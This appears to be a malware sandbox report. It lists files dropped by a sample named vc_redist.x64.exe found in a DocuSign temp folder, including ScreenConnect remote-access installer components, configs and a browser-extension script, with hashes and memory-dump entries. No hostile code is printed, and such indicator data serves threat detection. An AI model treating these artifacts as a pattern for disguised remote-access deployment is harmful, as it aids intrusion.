vc_redist.x64.exe

Path C:\Users\Admin\AppData\Local\Temp\DocuSign_30d06587\vc_redist.x64.exe
Size 24.4MB
SHA256 cc0ff0eb1dc3f5188ae6300faef32bf5beeba4bdd6e8e445a9184072096b713b
MD5 486f81facf798678c3244c7cf35a557f
SHA1 21ce0ee54bff57f69fafa741025bf2f15b356405
SHA512 e131b93acde5ffc76c19eb0784183a1e94dfa9fe06111a7830eae3ad8583895575dd4dca66aa70efddb243c95735a0105efcd3042b4b5ca445d3d8e8c39d957e
SSDEEP 786432:mjjpx5hYBug51eEdO41UnAyijgtUHFt9q4YYOQdV:kpx56Bu61eGv1pjg6pb
TLSH
T10A473332E0448026EBE61037A168F5206F7CF624A3649ABBD6CCED0D37B649717FB615
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a1bb8c77-fe64-4dfc-82c7-59884a33fd57.tmp

Path C:\Users\Admin\AppData\Local\Temp\a1bb8c77-fe64-4dfc-82c7-59884a33fd57.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dd0e3ed1-3d76-40a6-80f4-0326266797cf.tmp

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3516_810696430\dd0e3ed1-3d76-40a6-80f4-0326266797cf.tmp
Size 153KB
SHA256 299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
MD5 c4a20d073fe58488935da829aae6fa17
SHA1 dbd31aa3dcd1abd3d554d29a9bca83bab02709d5
SHA512 61f74480d3471180f14e2171be6f5e33ab0a03a7a4837334695556a9484da1a862cc059969834d4950a038ec97f192805e5e718cd2a280aba675bdc9cee5d976
SSDEEP 3072:C0qfZ9r+hy+exmKhRts8o7SYbyqNDri8EBalnQt9RaBoAkaX2Ns:C0qfZ9r5msvoOGi8QQQbRwxmNs
TLSH
T126F3E02D6EDEC956CC0F61F96F29724BC50A4F0B818B648B624E881958F434E17E29FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3516_944159468\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI751B.tmp

Path C:\Windows\Installer\MSI751B.tmp
Size 1.0MB
SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
MD5 1e56938e8ce9167df1e44dfa6c7311e9
SHA1 9090e62e4ecf40d699dee0663c1c90e603167435
SHA512 029c824c650ccdb82ab2cfc0678f433ea2b1c25ebe0c98cbf03351af8ea37f97dd6e075a1cadd39652aecaacf7e5976c42ee4774cbceb2cf4b3cac52c578432b
SSDEEP 24576:QUUGGeuIGwfWav9kUuaFfEOi8ifyXfKVJS6hc9i:jGenGwfZVkVjOi8ifyXfKVzh9
TLSH
T14E35231232A18136F1E73B312D35A1B148FF39B169B5954EBB4E06258EF0BD09A78737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Windows\Installer\MSI751B.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Windows\Installer\MSI751B.tmp-\ScreenConnect.Core.dll
Size 539KB
SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
MD5 d254a2107a0ede952aa99f5a8feb5a04
SHA1 322ddaf1cc80e5c392ae82ae9cb016cf0c5f01cf
SHA512 ca9083b303cab7b08874284b388b7bab74063b4a034e5c95b8b72777e4527df2c4102fd066a164d4937bb98f285549b199203481ed5340eafd538f5615163ce2
SSDEEP 6144:SfWyDky4hmlTnSnyXn/4ZNkVQVyRb9bniIzs8vvk6aMhCJqgfwyYeMxq/J1e5Qal:SfxkyQIGogZAQcb9jzsO6Mx9OF2
TLSH
T197C48EC133D4CB2BC5BF47BAF42056690770EC107509E79B1AB5D8A8ADA335A4EC06ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Windows\Installer\MSI751B.tmp-\ScreenConnect.InstallerActions.dll
Size 11KB
SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
MD5 678f8c1050d8c83ace22346aad84d150
SHA1 ddc437d1cbe5f0e229a998e07404271e4e68be26
SHA512 4e3e9b4a0cf4d1313dbe357ee4501e5d4481e307c6153bf96120e1a14f1f9e5ceb26410e55d6d54cf1386a41787148f3992c02bba5b189ce944131ed9194dc93
SSDEEP 192:/8/Qp6lCJuV3j7XtyVNamVNG1YZfCrMmbfHJ7kjvLqbuLd9NEFbEC/T:0/cBJanXt2NaheUrMmb/FkjvLqbuZrCr
TLSH
T1A432D50077DC673AE8BE0F78DAB762910A71EB64A011DF2E1CCC91569C367449EA07A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Windows\Installer\MSI751B.tmp-\ScreenConnect.Windows.dll
Size 1.6MB
SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
MD5 27d7995501d37a65912643493ec8f2c5
SHA1 3d3f37be1ff47568cf8b7ae3f28ceabbcdc1b009
SHA512 73751b468c82a2e77852932528946fdfbceae7cafc4175fd0d6d7d50771c78be4de0e916b226b0209beae067698a2355dfa656e3381f337778a5314a769f3057
SSDEEP 24576:yDtFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTHs:yDtJkGYYpT0+TFiH7efP
TLSH
T1BA85BD41E2D364F5D46B047888BF571ABA743C040325CAFB97D4AE3A6D33BC09A36796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI7D2C.tmp

Path C:\Windows\Installer\MSI7D2C.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2bzha5pn.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\2bzha5pn.newcfg
Size 557B
SHA256 64fafd0adc4040faf9adbe354405a07eea2c79a8087976f602e444355e5f3620
MD5 48d7acaf594097cc1ee2fc999de79be1
SHA1 96c2bb62c55a9a9f0eb14e0fa75fd4840832f0a5
SHA512 c36172823e474256760ca7f67e3ce712256c6f795f3c164065b8bdc2ba5c5eabc5e6bb6975718fd91bc13272024c8ed55644a928b7791ad1cae5d1e9c44676ad
TLSH
T18AF024A53080BE4607A31E33C5524741EE721B9B10252098B4AF62775F301DF07A31DE
MD5 SHA1 SHA512 TLSH

Submit Download

kbkn1c5j.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\kbkn1c5j.newcfg
Size 557B
SHA256 1f6b1159cb400132ec86806fcc153125a24f02f7cfb06cc192913fbc5f17688f
MD5 eb43ec63176865b1d4be0c886a9a6085
SHA1 71f6aee232b5825756818a9ecabcaf8394de076e
SHA512 4355906a4dd95827b8c974c3cd5dfeeb1ecf8e82bb93f94433bedd7d8411841dcbeac22ff4e013236ffd6541dbc9d4aa2414101a677792aa60ae9f3252c537ca
TLSH
T104F024A53080BE4607A31E33C5528781EE721B9B0025209874AF62775F301DF07A31DE
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\user.config
Size 557B
SHA256 3ec72b051a7b8c05ab00e022bf8fc6edbed7f0bd198b4303fea78314d7e7566f
MD5 48c5cbf17c8bd58af77d3c182ef6054e
SHA1 50022510d153408374538d8045307827a65b9b47
SHA512 75261cc5e33d1cafe5320262dbd678afb4b1212213f5cf29a68115d15fcd724c834a381af94eb8f7115c7551a71595d6730e5a8eef2c7ddfa8f20b1b4abcb783
TLSH
T173F024A53080BE5607A31E33C5524745EE722B9B1529209874AF623B5F301DF07A31DE
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\user.config
Size 557B
SHA256 d476c594f863ea945fcf2c69012f005fb60a23332ed88c573d6f3d6c10e62a6d
MD5 2f8dc2e5f1671f554c95faec44cdebac
SHA1 66d2829658c6ebf583271384614bb8d373852aa0
SHA512 93c767e0c5bb70cf65ac1a8072478157b10891ee32760d3dc8a4bfd1d3cc666ccef66e123e87c3f212cadbd98c841c08ae32e1d8701fddaf139eb7bfbe7d918c
TLSH
T1B9F024A53080AE5A07A31E33C5524745EE721B9B00252098B8AF62775F301DF07A31DE
MD5 SHA1 SHA512 TLSH

Submit Download

vzzmqots.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\vzzmqots.newcfg
Size 557B
SHA256 c5de20bc8d05ead09470a45a465839b6fb6237fd51c52a8bd450cb3938564331
MD5 e1a9023e77e995bd990af6e7657480ab
SHA1 b2050c2a12c9cbb3cb5e921c0c7eb32504020187
SHA512 4e03fd2615f420e6fb2d31601e8f329d391f269dd3757676387a9819499445113686e3541f13e7f4d00a841157ab724c813a5ac42da0ea295673faf8f77ed074
TLSH
T109F024A53084AE5607A31E33C5524781EE721B9B0025209874AF62375F305DF07A31DE
MD5 SHA1 SHA512 TLSH

Submit Download

xxoxgaci.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\xxoxgaci.newcfg
Size 557B
SHA256 933614ff8b20b5724e87b621566720d65334aace002bf7fe6e7a8e769aba5b93
MD5 cc3c6d7c8c2d1650707a77f1cadf9d5c
SHA1 a7a83dd0171f76a2233b5c4afc72ebd89a588400
SHA512 4a3784cef31c5e86c6015e3cfb60f2ba586ebf4967e86ad9ccbee34db3dbbd9f407358b68a7f11ebf114f051002ffd12e04652bb93bae09c559ceec106b920d6
TLSH
T1CFF024A53084AE4607A31E33C5524781EE721B9B0029209874AF62375F305DF07A31DF
MD5 SHA1 SHA512 TLSH

Submit Download

vc_redist.x64.exe

Path C:\Windows\Temp\{BCD7B4A5-6CE8-48E0-92F9-3B5B80C0DE18}\.cr\vc_redist.x64.exe
Size 670KB
SHA256 568c9ba533624084ea18f7a562b4aa2249ed4e41281524a061a0d0b1008cf6bd
MD5 bc9c8a6a42e8d3ea18f8da78d5031820
SHA1 07812a4b945364d04627363e46ab38de188281b3
SHA512 b583f41b8f9cbb2b04e4c7403b54241bf4c51caefdb0bbe9184202dc615f599b496d65f6d36984b75f9b9003289c0c13066dc1e6eb294f9139248595114b4f73
SSDEEP 12288:n3mgqnIZuYfCYqFet4CovkM7x61nE4rfDDIcbMZ3Mya:n3WnIZuMCxezot7MhbfDBMZ8ya
TLSH
T10DE49E32A5604033F7F10573B928A6303E7CE3282B51C9A9D7D4AD1D7EB4892A7F7256
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

logo.png

Path C:\Windows\Temp\{DB8D6B0F-AB8E-48D9-95D5-DBEBDC2E9B8C}\.ba\logo.png
Size 1KB
SHA256 335a256d4779ec5dcf283d007fb56fd8211bbcaf47dcd70fe60ded6a112744ef
MD5 d6bd210f227442b3362493d046cea233
SHA1 ff286ac8370fc655aea0ef35e9cf0bfcb6d698de
SHA512 464aaab9e08de610ad34b97d4076e92dc04c2cdc6669f60bfc50f0f9ce5d71c31b8943bd84cee1a04fb9ab5bbed3442bd41d9cb21a0dd170ea97c463e1ce2b5b
TLSH
T1CF312CF34748B7A7D30581351471819AD242FFD8F9CE291E35CD5307664018115C75CF
MD5 SHA1 SHA512 TLSH

Submit Download

wixstdba.dll

Path C:\Windows\Temp\{DB8D6B0F-AB8E-48D9-95D5-DBEBDC2E9B8C}\.ba\wixstdba.dll
Size 215KB
SHA256 e921f69b9fb4b5ad4691809d06896c5f1d655ab75e0ce94a372319c243c56d4e
MD5 f68f43f809840328f4e993a54b0d5e62
SHA1 01da48ce6c81df4835b4c2eca7e1d447be893d39
SHA512 a7a799ecf1784fb5e8cd7191bf78b510ff5b07db07363388d7b32ed21f4fddc09e34d1160113395f728c0f4e57d13768a0350dbdb207d9224337d2153dc791e1
SSDEEP 6144:K6EZdi6e93SuDeTKZxQfsRy26BqbUHYJe:K62i6eNSYeuZ2sRDK
TLSH
T15E24AF12B5D0907AEBFB19305939E5216DBDBA210FA0C9CE5348AD2B2E705C1DB36737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2252-204-0x0000000004860000-0x00000000048F2000-memory.dmp

Download

memory/2252-203-0x0000000004590000-0x00000000045C6000-memory.dmp

Download

memory/2252-177-0x00000000042D0000-0x00000000042E8000-memory.dmp

Download

memory/2252-206-0x00000000045D0000-0x0000000004611000-memory.dmp

Download

memory/2252-199-0x0000000004540000-0x0000000004590000-memory.dmp

Download

memory/2252-208-0x0000000004A40000-0x0000000004B15000-memory.dmp

Download

memory/3724-237-0x000000000CA40000-0x000000000CA60000-memory.dmp

Download

memory/3724-227-0x000000000A8F0000-0x000000000A910000-memory.dmp

Download

memory/3724-42-0x000000000A890000-0x000000000A8B0000-memory.dmp

Download

memory/3724-33-0x000000000A7D0000-0x000000000A7F0000-memory.dmp

Download

memory/3724-32-0x000000000A820000-0x000000000A850000-memory.dmp

Download

memory/3724-28-0x000000000A820000-0x000000000A850000-memory.dmp

Download

memory/3724-232-0x000000000CD90000-0x000000000D030000-memory.dmp

Download

memory/3724-231-0x000000000A8F0000-0x000000000A910000-memory.dmp

Download

memory/3724-37-0x000000000A7D0000-0x000000000A7F0000-memory.dmp

Download

memory/3724-248-0x000000000CAC0000-0x000000000CAE0000-memory.dmp

Download

memory/3724-9-0x00000000078A0000-0x00000000084A0000-memory.dmp

Download

memory/3724-241-0x000000000CA40000-0x000000000CA60000-memory.dmp

Download

memory/3724-20-0x0000000008670000-0x0000000008680000-memory.dmp

Download

memory/3724-14-0x000000000B550000-0x000000000C190000-memory.dmp

Download

memory/3724-10-0x000000000B550000-0x000000000C190000-memory.dmp

Download

memory/3724-24-0x0000000008670000-0x0000000008680000-memory.dmp

Download

memory/3724-38-0x000000000A890000-0x000000000A8B0000-memory.dmp

Download

memory/3724-236-0x000000000CD90000-0x000000000D030000-memory.dmp

Download

memory/3724-246-0x000000000CA80000-0x000000000CAC0000-memory.dmp

Download

memory/3724-19-0x00000000086F0000-0x0000000008740000-memory.dmp

Download

memory/3724-251-0x000000000CAC0000-0x000000000CAE0000-memory.dmp

Download

memory/3724-5-0x00000000078A0000-0x00000000084A0000-memory.dmp

Download

memory/3724-15-0x00000000086F0000-0x0000000008740000-memory.dmp

Download

memory/3724-242-0x000000000CA80000-0x000000000CAC0000-memory.dmp

Download

memory/4356-225-0x0000000002440000-0x0000000002481000-memory.dmp

Download

memory/4356-218-0x00000000002A0000-0x0000000000338000-memory.dmp

Download

memory/4356-224-0x0000000000B60000-0x0000000000B78000-memory.dmp

Download

memory/4356-221-0x000000001B4E0000-0x000000001B68C000-memory.dmp

Download

memory/4356-219-0x0000000000B20000-0x0000000000B56000-memory.dmp

Download

memory/4356-223-0x0000000000AE0000-0x0000000000AF8000-memory.dmp

Download

memory/4356-222-0x000000001C740000-0x000000001C8C6000-memory.dmp

Download

memory/4356-220-0x0000000002630000-0x00000000026BE000-memory.dmp

Download

memory/4608-129-0x00000000028B0000-0x00000000028BA000-memory.dmp

Download

memory/4608-125-0x0000000002870000-0x000000000289E000-memory.dmp

Download

memory/4608-133-0x0000000004D80000-0x0000000004E0E000-memory.dmp

Download

memory/4608-137-0x0000000004FC0000-0x000000000516C000-memory.dmp

Download

memory/4608-138-0x0000000005720000-0x0000000005CC4000-memory.dmp

Download